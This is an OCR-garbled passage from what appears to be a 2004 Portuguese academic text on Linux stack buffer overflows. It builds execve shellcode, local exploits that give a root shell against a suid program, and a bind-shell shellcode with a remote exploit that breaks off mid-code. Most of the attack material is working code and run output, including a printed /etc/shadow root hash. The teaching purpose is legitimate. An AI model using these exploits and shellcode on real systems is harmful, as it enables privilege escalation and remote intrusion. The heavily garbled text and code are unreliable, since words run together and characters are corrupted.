Figura 22: Layoutemmenoria do registrode ativagdo corrompidodafuncao cadasta()
guandodforam passado§4 bytes

E importantefrisar que estetipo de ataquenecessitale dois "retornos” paraser efetivo.
Primeiro,o contdidodo campobaseda pilha anterior & modificadopelo estourode erro-por
um do buffer, e depoisquandoa funcao main() retorna,o eip € modificadopor um endereo

arbitrario queest armazenadaoapilha.

O compiladorgccnasuaversioa partir da3.x, impedequeestetipo de atagueocorra,pois
eledeixaumespao de 8 bytesentreo campobaseda pilha anterior e aprimeiravariavel local
(dosregistrosde ativacao).

3.5 SHELLCODE

Atéenfio,sabemosgjueé possvel controlaro fluxo deexecu@o deum programavulneravel
afalhasde buffer overflow porém, paraum usiario mal-intencionad@ necesario quealgo Gtil
sejafeito e naoapenadravar o programaalvo. Porisso,é necesario fazercomqueo programa
vitima executeum codigo arbitrario, fornecidopelo ustario mal-intencionadoProgramasgjue
fazemissosao conhecidosomo” exploits’, que sao programasespecialmenteodificadosde
formaqueum codigo arbitrario sejainjetadono programavitima, geralmenteatrasrésdosseus

buffers deentrada.

Na suagrandemaioria, 0s exploits erviarao shellcodegparao programavitima, que sao
codigosde maquina(opcode} quegeralmenteabremshellsparao atacante.
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Osmétodosmaisutilizadosparaa constryéo deshellcodesao:

e Escreverdiretamentemcodigohexadecimal;
e Escrerereminstru@esassemblye depoisextrair osopcodes

e EscreeremC, extrair 0 assemblye depoisosopcodes

Veremoscomoconstruirum shellcodeutilizandoa segundaopgao, por sermaisdidaticae
defacil entendimento.

Por ter o objetivo de executarum novo programavia shellcode o conceitopor tras da
execu@odasinstru@esrequerum conhecimentaecomoosprogramasaoexecutadosatraves
daschamadasle sistema.

3.5.1 CHAMADAS DE SISTEMANO LINUX

Chamadagle sistemasao um meio de interface entre programasgue rodam em modo
ustario e dispositvosde hardwareou servimsdo kernel Algumasdasvantagensla utilizacio
dechamadasle sistemasao (BOVET; CESATI, 2003):

e Facilita a programaéo, evitandoa necessidadde estudarcaracteisticasde baixo nivel
dedispositvos;

e Aumentaa seguran@ do sistemaja queo kernelpodeverificar a naturezadarequisi@o
antesdeatenc@-la;

No Linux, guandoumachamadale sistemee feita, o kernelesperajueos pametrogara
selecionaachamadalesistemanasuagrandemaioria,sejampassadopelosregistradoregax,
ebx,ecx,edx,esi,edi. Apbs passaessepaametrosumainterrup@o especialjnt 0x8Q deve
serutilizadaparainformar parao kernel utilizar essesegistradoreparachamarumafuncao.
Cadaum dessesegistradorepossuiumaresponsabilidade:

eax qualfuncaoserchamada;

ebx primeiro paametrodafuncao;

ecx seggundopametrodafuncio;

edx terceiropaametrodafuncao;
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e esi quartoparametrodafungao;

e edi quintopa@metrodafuncao.

O arquivo /usr/include/asm/unistd.possuia lista com os numerosdaschamadasle sis-
temasmplementadaso kernel quenasuaversao2.4.24possuiexatamente37 disporiveis.

Utilizando o assemblenasm disporivel em http://nasm.shet podemoscompilaro sim-
plesprogramacodificadoemassemblyabaixo,queutiliza os conceitosde chamadale sistema
paraimprimir umamensagenmatela:

; ola.asm : imprime uma msg simples na tela
; Carlos Eduardo Pedroza  Santiviago <ceps@redes.unioeste-foz.br>
; jan/2004

section .data ; se¢ao de dados inicializados
msg db "Ola mundo!" ; string a ser enviada na tela
section .text ; secao de codigo
global _start ; ponto de entrada para bin arios ELF
_Start:
; prot otipo:  ssize_t  write(int fd, const void *buf, size_t count);
mov eax, 4 ; chamada de sistema numero 4 (write)
mov ebx, 1 ; qual file descriptor, 1 = stdout
mov ecx, msg ; enderec,0 da string
mov edx, 10 ; tamanho da string

int 0x80 ; chama o kernel

; prot fitipo: void _exit(int status);
mov eax, 1 ; chamada de sistema numero 1 (exit)
mov ebx, 0 ; o status de saida
int 0x80 ; chama o kernel

Agorabastacompilare linkar:

$ nasm -f elf ola.asm
$1Id -o ola ola.o

$ .Jola

Ola mundo!
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3.5.2 CONSTRJUCAO DO SHELLCODE

Comoo objetivo de um ataquecontraumafalhade buffer overflowé executarum codigo
arbitrario, geralmentaimashell vamoscriar um shellcodequeexecute-a.

No Linux, existeapenasimachamadale sistemaguepossibilitaa execu@o deprogramas,

asysexecvequeest definidaem/usr/sic/linux/arch/i386/kernel/piocess.c

/~k
* sys execve() executes a new program.

*/
asmlinkage int sys_execve(struct pt_regs regs)
{ .
int error;
char * filename;
filename = getname((char *)  regs.ebx);
error = PTR_ERR(filename);
if (IS_ERR(filename))
goto out;
error = do_execve(filename, (char **) regs.ecx, (char **) regs.edx
, &regs);
if (error == 0)
current->ptrace &= "PT_DTRACE;
putname(filename);
out:

return error;

}

Analisandoo trechode codigo acima, pode-seperceberque o registradorebx tera o co-
mandoa serexecutadogueno nossocasose "/bin/sh” , porem, essamesmauncaofazuma
chamadaa funcao do_execve() passand@ contdido dosdemaisregistradorese est definida
em/usr/sic/linux/fs/eec.c

/-k

* sys_execve() executes a new program.

*/

int do_execve(char * filename, char ** argv, char * envp, struct

pt regs * regs)

A declaraéo dafuncao do_execve() juntamentecom os paametrosque sao passadogm
sysexecve() nospermiteconcluirque:

e ecx possuio endereo deargv(];

e edx possuio endereo deenv[];
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Essesdois registradoregpossuenos pa@metrosque podemser passadoparaum novo
programaa serexecutado.Existeumarestricdo queimplica que pelo menoso argv[0] (nome
do programa)ksejapassad@araafungao, e senaoha anecessidadde passanenhumavariavel
de ambienteparao programa(env[]), podemospassamNULL paraa funcdo. Tendoissoem
mente e pos$vel construiro codigoassemblyueexecuta/bin/shatraseésdosseguintespassos
(MURAT, 2001),0ONE, 1996):

e terastring”/bin/sh” emalgumlugar damenoria;

e escr@ero endereo dessastringemebx (nomedo programa)

e criarumchar** quetemo endereo dastringe o endereo deum NULL (argVv][]);
e escr@ero endereo dessechar ** emecx

e escreerzeroemedx(env(]);

e chamaiint Ox80paraexecutara chamadale sistema.

Cornvertendoo passaacimaemcodigoassemblyfica:

; shellcodel.asm: simples shellcode  que executa /bin/sh
; Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>

BITS 32 ; utilizaremos modo 32 bits

Xor eax, eax ; zera eax

XOr ecx, ecx ; zera ecx

push eax ; termina a string que enviaremos

push 0x68732f2f ; colocamos "//sh" na pilha
push 0x6e69622f ; colocamos "/bin" na pilha
mov ebx, esp ; esp aponta para "/bin/sh" (nome do programa)

push ecx ; colocamos NULL para ser argv[l] e terminar o  argv(]
push ebx ; colocamos argv[0] (nome do programa) na pilha

mov ecx, esp ; ecx aponta para argv[]

cdg ; extende o valor de eax em edx (ou seja, edx = 0)

mov al, 11 ; chamada de sistema a ser usada, Sys_execve

int 0x80 ; chama o kernel

Seanalisarmo® codigo acima,ha umaligeira diferen@ entreo codigo da se@o anterior
Issode deve ao fato que utilizaremosessenovo codigo em um programacodificadoem C, e
paraisso,precisamogxtrair osopcodesio codigoacima,daseguintemaneira:
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$ nasm shellcodel.asm

$ hexedit shellcodel

00000000 31 CO 31 C9 50 68 2F 2F 73 68 68 2F 62 69 6E 89
1.1.Ph//shh/bin.

00000010 E3 51 53 89 E1 99 BO OB CD 80

A sddado utilitario hexeditnosinformanaprimeiracolunaquantosbytesja forammostra-
dos, nas quatro colunasseguintes os opcodes(em hexadecimal)e na Gltima colunao seu
contd&idoemASCII. Parautilizar o shellcodeacimaem C, & necesario coloca-lo numastring,
comoseyue:

/I scl.c: simples programa em C que chama o shellcode
//  Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
1l

#include  <stdio.h>

/I shellcode do exemplo anterior

char sc[] = "\X31\XCOWX31\XCIX51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69"
"\BE\X89\XE3\X51\X53\x89\XE1\x99\xBO\Xx0B\XCD\x80";

int  main(void)

{
/I ponteiro para fungc ao, que executar a o shellcode
void (*f)(void);
/I apontamos o ponteiro para o shellcode
f = (void *)sc;
/I executamos o0 shellcode
f0;
return(0);
}

Agora,bastacompilaro codigoem C acimae test-lo:

$ gcc -0 scl scl.c
$ .scl
sh-2.05a$

Comopodeservisto, consguimosexecutarumanova instanciado interpretadodecoman-
dos,”/bin/sh” utilizandoo shellcodequeacabouwde serconstrido.

A areadeconstry@o deshellcode$ umaareadeintensgpesquisapoisvarios|DS! tentam
detectaropcodescomunsexistentesem shellcodes Devido a isso, existem ferramentagjue
consguemgerarshellcodepolimoérficos,comotécnicaddeevasio delDS, comoADMmutate
disporivel emhttp://wwwktwo.cae dissemblerdisporivel em http://wwwphiral.com

LntrusionDetectionSystems
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3.6 CONSTRUCAO DO EXPLOIT

Nas sedes anteriores,ficou claro que & pos$vel desviaro fluxo de execu@o deuma
aplica@o vulnerawel a buffer overflowe tamkem que € possvel executarum codigo que est
armazenadmumastring (o shellcodg¢. O que um exploit faz, & alteraro fluxo de execu@o
daaplica@ovulneravel deformaqueestaaponteparao codigo (shellcodé fornecidopeloata-
cante.Paraseatingiresseobjetivo, utilizam-setréstecnicasgueseoexplicadasas subsdies
aseguir.

3.6.1 EXPLORACAO UTILIZANDO CADEIAS DE NOP

Nestatécnica,um buffer € cuidadosamenteonstriddo paraconteros camposcomomostra
afiguraabaixoONE, 1996):

NOF SHELLCODE | EMD. BUFFER

Figura 23: Formatodo buffer a serernviadoparaa aplica@ovulnerawel

Oscamposacimapodemserdescritosdaseguinteforma:

e NOP: éumainstruc@oemassemblyjuenaorealizanenhumaopera@o (No OPeration).
¢ shellcode é o codigoqueexecuta’/bin/sh”.

e end. buffer: & o endereo deinicio do buffer, dentrodo espao de endereamentodo
programavitima, ou oendereo de algumNOP dentrodo buffer, pois seatingirmosum
NOR o processadovai executanda cadeiade NOPsaté encontraio shellcode

O motivo daexistenciadessaadeiade NOPé quenaosabemo® exatoendereo dobuffer
dentrodo espao de endereamentodo programavitima, e por issotentamosadivinha-lo, com
aajudado valor do registradoresp antesde ewiar o buffer maliciosoparao programavitima.
O codigoemC queexploraafalhado programavulnlé o seguinte:

/I expl.c: exploit para o programa vulnl
/I Carlos Eduardo Pedroza  Santiviago <ceps@redes.unioeste-foz.br>
I

#include  <stdio.h>
#include  <string.h>
/I valor da instruc ,a0 NOP



#define NOP 0x90
/Il  tamanho do nosso buffer.
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Il 64 Dbytes do buffer do programa vitima + 4 bytes para atingir EBP
/I + 4 para  atingir EIP
#define  MAXBUF 72
/I nosso shellcode que executa /bin/sh
char sc[] = "X31\XCO\X31\XCI\X51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69"
"\X6E\X89\XE3\x51\x53\x89\xE 1\x99\xB0O\x0B\xCD\x80";
/l esta func ao nos ajuda a pegar o valor do stack pointer antes de enviar
/I o buffer malicioso para o programa v itima
unsigned long pega_esp(void)
{
__asm__("movl %esp, %eax");
}
int  main(int argc, char *argv[])
{
char exploitftMAXBUF], *args[3];
int i, n, ret, *ap;
Il se for passado 1 argumento para o programa, & um offset
if(argc > 1)
ret = pega_esp() - atoi(argv[l)]);
else
/I enderec,0 abaixo foi pego em uma secao gdb do programa vulnl

/I & o0 enderec,0 aproximado do argv[l] guando se passam 72 bytes

/l ou seja, aponta para uma regiao proxima aos NOPs
ret = Oxbffffe40;
printf("ret: 0x%x\n",  ret);

ap = (int  *exploit;
I/l preenchemos o buffer com o0 enderec,o0 de retorno

for(i =0 ;i < MAXBUF; i+=4)

*ap++ = ret;
/I preenchemos o0s primeiro 15 bytes com NOP
for(i =0; i < 15; i++)

exploit[i] = NOP;
/I colocamos depois dos NOPs 0 nosso shellcode
forh = 0; n < strlen(sc); n++)

exploit[i++] = sc[n];

/[ indicamos o0s argumentos do programa

args[0] = "Jvulnl";

args[1] = exploit;

args[2] = NULL;

/[ executamos o0 programa vitima
execve(args[0], args, NULL);



63

Comoa maioriadosalvos de aplica®dessao aquelascom a flag suid, e com proprierio
sendoroot, devido a possibilidadede elevagao deprivil égios,vamossuporque a aplica@o
vulnlfossesuidroot, e sedevidamenteexplorada,nosda umaroot shelt

$Is -la wvulnl

-rWSr-sr-x 1 root root 11794 Jan 28 02:49 vulnl
$ gcc -0 expl expl.c
$ .Jexpl

ret:  Oxbffffe40
Usuario aQ%a°

y>0Oa@ cadastrado!
sh-2.05a# id
uid=1000(ceps) gid=1000(ceps) euid=0(root) egid=0(root) groups=1000(ceps)
sh-2.05a# Is -la /etc/shadow
-fW-r----- 1 root shadow 766 Jan 26 09:57 /etc/shadow

sh-2.05a# head -1 /etc/shadow
root:$1$0/08P/p0$Zu5S25mfVP2. TdfZKFmXy/:12443:0:99999:7:::

Comopodeservisto acima,consguimosprivil égiosde root ao explorar a aplica@o vul-
nerawvel a buffer overflow Paracomproar, listamoso contdido do arquivo /etc/shadowalgo
guenaopoderiaserfeito a naoserquesepossuarivil égiosderoot

Supondoque nao tivessemopego o endereo através de umase@o gdb, vamosestimar
valoresparaqueconsigamosatingir o objetvo de consguir umarootshell

$ .Jexpl -100
ret:  Oxbffffd80
Usuario aQx°
>0a@ cadastrado!
lllegal instruction
$ .Jexpl -200
ret:  Oxbffffded
Usuario aQ%a°

y>0a@ cadastrado!
Illegal instruction
$ .Jexpl -300

ret:  Oxbffffe48
Usuario aQXx°

y>0a@ cadastrado!
sh-2.05a#

Na execu@o acimapodefamoster passadaualqueroffset paratentaratingir o endereo
correto. Por sorte, na terceiratentatva consguimos executaro nossoshellcode masnem
semprese@assim.

Estetipo detécnica,apesarde ter sido e sermuito utilizada, e serde facil entendimento,
possuialgumasieswantagen§MURAT, 2001):
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e 0 shellcodes erviadoemum buffer de entradado programavitima,
e tentamosadivinhar” o endereo doshellcode

¢ seo huffer deentradado programavitima naofor grandeo suficiente(paracabero buffer
gueconstriumos),é dificil explorar utilizandoestatécnica.

3.6.2 EXPLORACAO UTILIZANDO VARIAVEIS DE AMBIENTE

Na subse@o 2.6.9, 0 estadoinicial de um processcem menbria foi apresentadoAnal-
isandoa Figura 13, vemosum campoque nos ajudaa adescobriro endereo exato ondeo
shellcodesea erviado: o campoervironment A declara@o dafungio principal de um pro-
gramaem C, quandopassamosariaveis de ambiente podeservista abaixo(MURAT, 2001),
(ONE, 1996):

int  main(int argc, char *argv[], char *env(])

O paiametroerv[] apontaparaum arrayde ponteirosparavariaveisdeambiente Variaveis
de ambientesao utilizadasparacustomizaro conteto de execu@o deum processofornecer
informadesgeraisparaum usLario ou outroprocessoQu parapermitirqueum processguarde
algumasdnformad@esatravésdachamadale sistemaexecve()

E & exatamentalevido a essdlltima afirma@o queagoraencaixaremos nossoshellcode
dentrode um array e erviaremosessearray parao programavitima como sendoseuenv[],
durantea execu@odo execve

Analisandoa Figural3, dasubse&o2.6.9,podemo<alcularo endereo doshellcodeque

se@ enviado,dasegyuintemaneiralcomenériosentrecolchetes):

end = OxBFFFFFFF [endere® base]
4 [DWORDNULL]

- strlen(nome_do_programa) [tamanho do nome do programa]
- 1 [caractere NULL que termina o0 nome do programa]
- strlen(shellcode) [tamanho do shellcode que enviaremos]

Sabend® exatoendereo ondeo shellcodeseencontrapodemosieixardeusarainstru@o
NOP, e preenchep huffer quevai sererviadoapenasom o endereo quecalculamos.Dessa
maneirao exploit setornamuito maissimples,comopodeservisto a seyuir:

Il exp2.c: exploit para o programa vulnl, utilizando variaveis de ambiente
/I Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
1l



#include
#include

#define

char scf]
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<stdio.h>
<string.h>

MAXBUF 72

= "\X31\XCO\Xx31\XxC9\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69"

"\X6E\X89\XE3\x51\x53\x89\xE1\x99\xB0O\x0B\xCD\x80";

int  main(void)

char
int

exploitftMAXBUF], *args|[3], *env[2];
i, ret, *ap;

/I calculamos 0 enderec,0 exato onde est a armazenado o shellcode
/I conforme vimos na Figura 11

ret

= OXBFFFFFFF - 4 - strlen("./vulnl") - 1 - strlen(sc);

printf("ret: 0x%x\n",  ret);

ap =

(int  *exploit;

I/l preenchemos o buffer inteiro com o enderec,0 exato do shellcode

for(i

=0 ;i< MAXBUF; i+=4)
*ap++ = ret;

/[ argumentos

args[0]
args[1]

"./vulnl";
exploit;

args[2] = NULL;

/l aqui criamos o0 env[] que conter a 0 nosso shellcode

env[0] = sc;

env[l] = NULL;

/I executamos o0 programa vulnl passando a vari avel de ambiente
execve(args[0], args, env);

Comopodeservisto, 0 codigoacimasetornabemmaissimplesjaquenaoprecisamosen-

tar "adivinhar”’o endereo donossoshellcodedentrodo espao deendereamentodo programa

vitima. Executando-o:

$ gcc -0
$ .Jexp2

exp2 exp2.c

ret:  Oxbfffffd9

Usuario

Uy Uyy> Uy >y Uy Uy U= Uy Uy Uy Uy Uy v Uy Uy Uy U

a@ cadastrado!

sh-2.05a#

id

uid=1000(ceps) gid=1000(ceps) euid=0(root) egid=0(root) groups=1000(ceps)

Consguimosexploraravulnerabilidadecomopretendido.
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3.7 EXPLORACAO REMOTA

Nassubsedesanterioresforamapresentadadsrmasde explorac@o defalhasdeestourade
buffer napilha, de umaperspectia local, ou seja,supondogueum usLArio ja possuaacess@
maquina.

Poem,namaioriadasvezesum ustario mal-intencionadmao possuia acess@o hostre-
motoe tentaé dealgumaformaobte-lo, e a xplora@oremotapodeserumaformadealcanar
esseobjetivo.

Damesmdormaqueaplicadeslocais,um servi®m remotogeralmentegecebeumaentrada
dedadospsprocessag retornaalgumarespostgou nao) parao cliente. Essaentradadedados,
e armazenad&am um buffer, semelhanteo que uma aplica@o local faz. Devido a isso, se
foremutilizadasasfungdesinsegurasdabibliotecapadi&o C, e naoforemtomadosos devidos
cuidadosparavalidar a entradade dados,a aplica@o podesofrerataquesie estourode buffer
remoto.

Diferentementede explora@eslocais, ao se tentarinjetar um shellcodeem um servi@
remotovulneravel, 0 mesmonao podeapenasexecutar’/bin/sh”, pois nao possimosum ter-
minal no hostremoto. Devido a isso, & necesario substituiro shellcodede forma queao ser
executadoumaportaTCP sejaabertaportaquerecebea os comandogjueseio ewiados,o0s
repassa parao interpretadoide comandog”/bin/sh”) e retornaa arespostale execu@o dos
comando®rviados.

Paraisso,utilizaremoso shellcodalisporivel emhttp://padketstormsecurityl/shellcode/bind-
ScC.G quepodeservisto a seguir:

/*
LINUX SHELLCODE
156 byte shellcode that binds /bin/sh on port 30464.
By ROOT-dude

*

char shellcode(] =
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCPY/

/* ¢ odigo assembly em sintaxe AT&T, ou seja: instr origem,destino */
"\x31\xc0" /I xorl %eax,%eax

"\x31\xdb" /I xorl %ebx,%ebx

"\x31\xc9" /I xorl %ecx,%ecx

"\x31\xd2" /I xorl %edx,%edx

"\xbO\x66" /I movb $0x66,%al

"\xb3\x01" /[ movb $0x1,%bl

"\x51" /I pushl %ecx

"\xb1\x06" /I movb $0x6,%cl



"\x51" /I pushl
"\xb1\x01" /I movb
"\x51" /I pushl
"\xb1\x02" /I movb
"\x51" /[ pushl
"\x8d\x0c\x24" /I leal
"\xcd\x80" /I int
[* port is 30464 I %

/* bind(fd, (struct sockaddr)&sin,
"\xb3\x02" /[ movb
"\xb1\x02" /I movb
"\x31\xc9" /I xorl
"\x51" /I pushl
"\x51" /I pushl
"\x51" /Il pushl
[* port = 0x77, change if needed */
"\x80\xc1\x77" /I addb
"\x66\x51" /[ pushl
"\xb1\x02" /[ movb
"\x66\x51" /[ pushw
"\x8d\x0c\x24" /I leal
"\xb2\x10" /I movb
"\x52" /I pushl
"\x51" /I pushl
"\x50" /I pushl
"\x8d\x0c\x24" /I leal
"\x89\xc2" /[ movl
"\x31\xc0" /I xorl
"\xb0\x66" /I movb
"\xcd\x80" /[ int
/* listen(fd, 1) ¥

"\xb3\x01" /I movb
"\x53" /I pushl
"\x52" /I pushl
"\x8d\x0c\x24" /I leal
"\x31\xc0" /I xorl
"\xb0\x66" /I movb
"\x80\xc3\x03" /I addb
"\xcd\x80" /I int
[* cli = accept(fd, 0, 0) *
"\x31\xc0" /I xorl
"\x50" /[ pushl
"\x50" /I pushl
"\x52" /I pushl
"\x8d\x0c\x24" /I leal
"\xb3\x05" /I movl
"\xb0\x66" /[ movl
"\xcd\x80" /I int
I*  dup2(cli, 0) */

"\x89\xc3" /I movl
"\x31\xc9" /I xorl

%ecx
$0x1,%cl
%becx
$0x2,%cl
%ecx
(Yesp),%ecx
$0x80

sizeof(sin) ) */
$0x2,%bl
$0x2,%cl
%ecx,%ecx
%ecx
%ecx
%ecx

$0x77,%cl
%cCx
$0x2,%cl
%cCx
(Yoesp),%ecx
$0x10,%dI
%edx
%ecx
%eax
(Yoesp),%ecx
%eax,%edx
%eax,%eax
$0x66,%al
$0x80

$0x1,%bl

%ebx

%edx

(Y0esp),%ecx

%eax,%eax
$0x66,%al
$0x3,%bl
$0x80

%eax,%eax

%eax

%eax

%edx

(Yoesp),%ecx
$0x5,%bl

$0x66,%al
$0x80

%eax,%ebx
%ecx,%ecx
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"\x31\xc0" /I xorl %eax,%eax
"\Xb0\x3f" /[ movb $0x3f,%al
"\xcd\x80" /I int $0x80

/¥ dup2(cli, 1) */

"\x41" /I inc %ecx

"\x31\xc0" /I xorl %eax,%eax
"\xbO\x3f" /I movl $0x3f,%al
"\xcd\x80" /I int $0x80

/*  dup2(cli, 2) */

"\x41" Il inc %ecx

"\x31\xc0" /I xorl %eax,%eax
"\XbO\x3f" /[ movb $0x3f,%al
"\xcd\x80" /[ int $0x80

I* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb" /I xorl %ebx,%ebx
"\x53" Il pushl %ebx
"\x68\x6e\x2f\x73\x68" Il pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" /I pushl $0x69622f2f
"\x89\xe3" /[ movl %esp,%ebx
"\x8d\x54\x24\x08" /I leal 0x8(%0esp),%edx
"\x31\xc9" /I xorl %ecx,%ecx
"\x51" /Il pushl %ecx

"\x53" Il pushl %ebx
"\x8d\x0c\x24" /I leal (Y0esp),%ecx
"\x31\xc0" /I xorl %eax,%eax
"\xb0\x0b" /[ movb $0xb,%al
"\xcd\x80" /I int $0x80

/¥ exit(%ebx) */

"\x31\xc0" /I xorl %eax,%eax
"\xb0\x01" /[ movb $0x1,%al
"\xcd\x80"; /I int $0x80

Como podemosver, o shellcodenadamais € do que o conjuntode opcodesdasvarias
fungdesquetrabalhancomsodet, deformaque quandeejamexecutadasanexema execu@o
de”/bin/sh” naporta30464.

3.7.1 APLICACAO VULNERAVEL QUE TRABALHA COM SOCKET
O codigoa sayuir, utiliza asfungdesparatrablharcomsodketsdescritasnaSe@02.3:

/*

* remvulnl.c: programa que trabalha  com sockets vulneravel a buffer
overflow

* Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>

* jan/2004

*/

#include <stdio.h>



#include
#include
#include
#include
#include

#define

<string.h>
<sys/socket.h>
<sys/types.h>
<arpa/inet.h>
<netinet/in.h>

MAXBUF 256

#define MAXNOME 512

int processa(int sockfd)

{

char bufferfMAXBUF], nome[MAXNOME];
int bytes;
strcpy(buffer, "Digite seu nome: ");

if( (bytes = send(sockfd, buffer, strlen(buffer), 0) <0 {

}

perror("send");
return(-1);

if( (bytes = recv(sockfd, nome, sizeof(nome), 0) <0 {

}
I

perror('recv");
return(-1);

escapa o0 enter

nome[bytes - 2] = "0}
sprintf(buffer, "Ola %s\n", nome);

if( (bytes = send(sockfd, buffer, strlen(buffer), 0) <0 {

}

perror("send");
return(-1);

return 0;

int  main(int argc, char *argv[])

int sockfd, clifd, tamanho;

struct sockaddr_in srv, cli;

if (argc = 2)

{
fprintf(stderr, "uso correto: %s porta\n”, argv[0]);
return -1;

}

Il cria o socket

if ( (sockfd = socket(AF _INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
return -1;

}

/l zera a  estrutura

bzero(&srv, sizeof(srv));

/[ espera conex ao em qualquer enderec,0 local

srv.sin_addr.s_addr = INADDR_ANY;

/[ aguarda conex ao na porta especificada em argv[1]

srv.sin_port = htons(atoi(argv[1]));
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/[ familia
srv.sin_family = AF_INET,;
/I associa a porta ao socket
if  (bind(sockfd, (struct sockaddr  *)&srv, sizeof(srv)) < 0) {
perror("bind");
return -1;
}
/I espera conex des no socket
if  (listen(sockfd, 3) <0 {
perror(“listen™);
return -1;
}
printf("Aguardando conex bes na porta %d\n", atoi(argv[l]));
for(;;)
{

/[ aceita a conex ao no socket
if ((clifd = accept(sockfd, (struct sockaddr *)&cli,
&tamanho)) < 0) {
perror("accept");

return -1;
}
printf("Conex ao de %s\n", inet_ntoa(cli.sin_addr));
if(processa(clifd) < 0)

printf("Erro no processamento\n");
close(clifd);
}
return  0O;

O programaremvulnl.cnao faz muita coisainteressanteg sene apenasparademon-
strarcomofuncionaum ataquea umaaplica@o remotavulneravel. A execu@o do programa
remvulnl juntamentecom o usodo telnetparaconectamo servi® atrasésde outro terminal
podeservisto abaixo(osterminaisseracindicadosentre[]):

[terminal 1]
$ ./remvuinl 1540
[terminal 2]

$ telnet  localhost 1540
Trying 127.0.0.1...
Connected to localhost.
Escape character is 7.
Digite seu nome: carlos

Ola carlos
Connection closed by foreign  host.
[terminal 1]

Conexao de 127.0.0.1

Analisandoo codigo do programaremvulnl podemospercebeiqueele possuium espao
de 512 bytesparareceber nomeerviado, e emseguidaarmazena quefoi recebidoemuma
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variavel de apena2568bytes Numaexecu@o normal,isto nao seriaum problema. Poem,
umustario mal-intencionad@oderiafornecerumaquantidadeenormede caracteres;omoem

programadocais,deformaa corrompero stak framedafuncaoprocessag)

Paraexplorar esseprogramao conceitoé o mesmoutilizado na explora@o deaplica®es
locais. Po'ém,comoé um programaremoto,devemoserviar o shellcodeatrasésde um sodet
parao programaemoto,comofoi feito peloexploit a seguir:

/-k

* expreml.c:  exploit para o programa remvulnl.c

* Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
* jan/2004

*/

#include  <stdio.h>
#include  <string.h>
#include  <sys/socket.h>
#include  <sys/types.h>
#include  <arpal/inet.h>
#include  <netinet/in.h>

[* instruc , a0 no operation */
#define  NOP 0x90

/* enderec,0 de retorno pego numa se¢cao gdb, aponta para um dos NOPS

* que est ao na variavel nome ou na variavel buffer
*/

#define RET Oxbffffa40

[* shellcode da sec¢ao anterior: binda na 30464 */

char shellcode][] =
I* fd = socket(AF_INET,  SOCK_STREAM, IPPROTO_TCP)/

"\x31\xc0" /I xorl %eax,%eax
"\x31\xdb" /I xorl %ebx,%ebx
"\x31\xc9" /I xorl %ecx,%ecx
"\x31\xd2" /I xorl %edx,%edx
"\xb0\x66" /I movb $0x66,%all
"\xb3\x01" /[ movb $0x1,%bl
"\x51" /I pushl %ecx
"\Xb1\x06" /I movb $0x6,%:cl
"\x51" /I pushl %ecx
"\Xb1\x01" /I movb $0x1,%:cl
"\x51" /I pushl %ecx
"\xb1\x02" /I movb $0x2,%cl
\x51" /[ pushl %ecx
"\x8d\x0c\x24" Il leal (Yoesp),%ecx
"\xcd\x80" /I int $0x80

/* port is 30464 M

[* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) *



"\xb3\x02"
"\xb1\x02"
"\x31\xc9"
"\x51"

"\x51"

"\x51"

/* port = Ox77,
"\x80\xc1\x77"
"\x66\x51"
"\xb1\x02"
"\x66\x51"
"\x8d\x0c\x24"
"\xb2\x10"
"\x52"

"\x51"

"\x50"
"\x8d\x0c\x24"
"\x89\xc2"
"\x31\xc0"
"\xb0\x66"
"\xcd\x80"

[ listen(fd, 1) ¥
"\xb3\x01"

"\x53"

"\x52"
"\x8d\x0c\x24"
"\x31\xc0"
"\xb0\x66"
"\x80\xc3\x03"
"\xcd\x80"

/* cli = accept(fd,
"\x31\xc0"

"\x50"

"\x50"

"\x52"
"\x8d\x0c\x24"
"\xb3\x05"
"\Xb0\x66"
"\xcd\x80"

/*  dup2(cli, 0) *
"\x89\xc3"

"\x31\xc9"

"\x31\xc0"

"\XbO\x3f"

"\xcd\x80"

/*  dup2(cli, 1) */
"\x41"

"\x31\xc0"

"\XxbO\x3f"

change if

0, 0) */

I
I
I
i
1
i
needed
/1

I
I
I
I
I
I
I
I

I
I
I
I
I
I
I
I

I
I
I
I
I

I
I
I

movb
movb
xorl
pushl
pushl
pushl
*/
addb
pushl
movb
pushw
leal
movb
pushl
pushl
pushl
leal
movl
xorl
movb
int

movhb
pushl
pushl

leal

xorl

movb

addb
int

xorl
pushl
pushl
pushl

leal

movl

movl
int

movl
xorl
xorl
movb
int

inc
xorl
movl

$0x2,%bl
$0x2,%cl
%ecXx,%ecx
%ecx
%ecx
%ecx

$0x77,%cl
%cX
$0x2,%cl
%cCX
(%esp),%ecx
$0x10,%dl
%edx
%ecx
%eax
(Yesp),%ecx
%eax,%edx
%eax,%eax
$0x66,%al
$0x80

$0x1,%bl
%ebx
%edx
(Yoesp),%ecx
%eax,%eax
$0x66,%al

$0x3,%bl
$0x80

%eax,%eax

%eax

%eax

%edx

(Y0esp),%ecx
$0x5,%bl

$0x66,%al

$0x80

%eax,%ebx
%ecx,%ecx
%eax,%eax
$0x3f,%al
$0x80

%ecx
%eax,%eax
$0x3f,%al

72



"\xcd\x80" /I int $0x80
I*  dup2(cli, 2) */
"\x41" /I inc %ecx
"\x31\xc0" /I xorl %eax,%eax
"\XbO\x3f" /I movb $0x3f,%al
"\xcd\x80" Il int $0x80
I* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb" /I xorl %ebx,%ebx
"\x53" /I pushl %ebx
"\x68\x6e\x2f\x73\x68" /I pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" /I pushl $0x69622f2f
"\x89\xe3" /I movl %esp,%ebx
"\x8d\x54\x24\x08" Il leal 0x8(%esp),%edx
"\x31\xc9" /I xorl %ecx,%ecx
"\x51" /I pushl %ecx
"\x53" /I pushl %ebx
"\x8d\x0c\x24" /I leal (Y0esp),%ecx
"\x31\xc0" Il xorl %eax,%eax
